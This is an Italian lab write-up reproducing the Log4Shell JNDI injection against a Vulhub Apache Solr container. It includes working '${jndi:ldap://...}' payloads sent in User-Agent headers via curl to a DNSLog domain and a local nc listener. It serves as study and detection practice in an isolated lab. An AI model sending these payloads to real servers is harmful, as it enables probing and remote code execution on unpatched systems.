CVE-2021-44228 (Log4Shell) Registrazione completa della riproduzione della vulnerabilità

Questo registro si basa sul campo di tiro Apache Solr 8.11.0 fornito da Vulhub, riproduce completamente la vulnerabilità di injection JNDI di Log4j2 e verifica con successo l'esistenza della vulnerabilità tramite DNSLog e monitoraggio LDAP locale.

1. Ambiente sperimentale

• Sistema operativo: Windows 11 + WSL2 (Ubuntu)
• Piattaforma container: Docker Desktop 4.76
• Fonte del campo di tiro: Vulhub (vulhub/log4j/CVE-2021-44228)
• Servizio target: Apache Solr 8.11.0 (include log4j-core 2.14.1)
• Macchina attaccante: Host locale (fungge anche da client DNSLog e da listener LDAP)

2. Processo di configurazione dell'ambiente

2.1 Ottenere il codice sorgente di Vulhub

Poiché la connessione diretta a GitHub è instabile, si utilizza il mirror Gitee per accelerare:

cd D:\\SecWork
git clone https://gitee.com/hanxu2486/vulhub.git

2.2 Risolvere il problema del pull delle immagini Docker in ambiente di rete nazionale

Configurare l'acceleratore di mirror esclusivo di Alibaba Cloud (accedere al servizio Container Registry per ottenere l'indirizzo personale):

• Aprire Docker Desktop → Settings → Docker Engine
• Modificare registry-mirrors:

{
  "registry-mirrors": ["https://xxxxx.mirror.aliyuncs.com"]
}

• Fare clic su Apply & Restart

Se si verifica ancora l'errore TLS handshake timeout, entrare in WSL ed eseguire sudo hwclock -s per sincronizzare l'ora.

2.3 Avviare il container Solr

cd D:\SecWork\vulhub\log4j\CVE-2021-44228
docker-compose up -d

Output di successo:

✔ Image vulhub/solr:8.11.0    Pulled    117.7s
✔ Container cve-2021-44228-solr-1    Started

Visitare http://localhost:8983/solr per vedere l'interfaccia di amministrazione di Solr. L'ambiente è pronto.

3. Passaggi per la riproduzione della vulnerabilità

3.1 Creare un Core di test

Solr non ha un core predefinito, è necessario crearlo manualmente:

curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"

Restituisce "status":0, il core test è stato creato con successo.

3.2 Utilizzare DNSLog per rilevare l'esistenza della vulnerabilità

Aprire il browser e visitare http://dnslog.cn, fare clic su Get SubDomain per ottenere un dominio temporaneo, ad esempio abc123.dnslog.cn.

Eseguire nel terminale (usare curl.exe per evitare interferenze con l'alias di PowerShell):

curl.exe -H 'User-Agent: ${jndi:ldap://abc123.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'

Tornare alla pagina http://dnslog.cn, fare clic su Refresh Record. Appare immediatamente un record di risoluzione DNS, a prova che la vulnerabilità esiste.

3.3 Verifica con listener locale (approfondimento)

Avviare un listener in WSL: nc -lvp 1389

Ottenere l'IP dell'host (eseguire ipconfig in PowerShell di Windows, trovare l'IP della scheda virtuale WSL, ad esempio 172.30.208.1).

Inviare una richiesta malevola con l'IP locale:

curl.exe -H 'User-Agent: ${jndi:ldap://172.30.208.1:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'

Osservare la finestra di nc; mostra informazioni di connessione:

connect to [172.30.208.1] from localhost [127.0.0.1] 54321

Ciò dimostra che Solr ha effettuato con successo una query LDAP verso la macchina attaccante. La riproduzione della vulnerabilità è riuscita.

4. Breve spiegazione del principio della vulnerabilità

La funzionalità JndiLookup offerta da Apache Log4j2 consente l'uso di segnaposto nel formato ${jndi:ldap://...} nei messaggi di log. Quando il messaggio di log viene registrato, Log4j2 analizza il segnaposto e tenta di accedere a un server LDAP remoto tramite JNDI. L'attaccante può impostare un server LDAP malevolo che restituisce un payload di deserializzazione Java, consentendo così l'esecuzione remota di codice.

In questa riproduzione, impostando l'header User-Agent come payload malevolo, Solr ha registrato tale header durante l'elaborazione della richiesta, attivando la query JNDI e dimostrando l'esistenza della vulnerabilità.

5. Riepilogo dei risultati sperimentali

✅ Configurazione riuscita dell'ambiente di vulnerabilità Vulhub, superando vari problemi in ambiente di rete nazionale (DNS hijacking, accelerazione mirror, sincronizzazione ora WSL, ecc.).

✅ Completamento autonomo dell'attivazione della vulnerabilità, verificando l'injection JNDI tramite DNSLog e listener locale.

✅ Comprensione approfondita del principio della vulnerabilità Log4Shell e della catena di attacco dell'injection JNDI.

✅ Acquisizione di esperienza pratica nella risoluzione di problemi di rete Docker, configurazione WSL2, pulizia proxy Git, ecc.

6. Riepilogo delle esperienze di risoluzione problemi

7. Elenco completo dei comandi

# Clonare Vulhub (usando mirror Gitee)
git clone https://gitee.com/hanxu2486/vulhub.git

# Entrare nella directory della vulnerabilità
cd D:\SecWork\vulhub\log4j\CVE-2021-44228

# Avviare l'ambiente
docker-compose up -d

# Creare il Core Solr
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"

# Verifica con DNSLog
curl -H 'User-Agent: ${jndi:ldap://your.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'

# Verifica con listener locale (eseguire nc in WSL)
nc -lvp 1389
curl -H 'User-Agent: ${jndi:ldap://your.wsl.ip:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'

# Arrestare l'ambiente
docker-compose down

8. Link di riferimento

• Progetto ufficiale Vulhub
• Dettagli CVE-2021-44228
• Piattaforma DNSLog

Data di redazione: giugno 2026
Autore: HanXu
Indirizzo del repository: https://github.com/hmxh123/Log4Shell-Vulnerability-Replication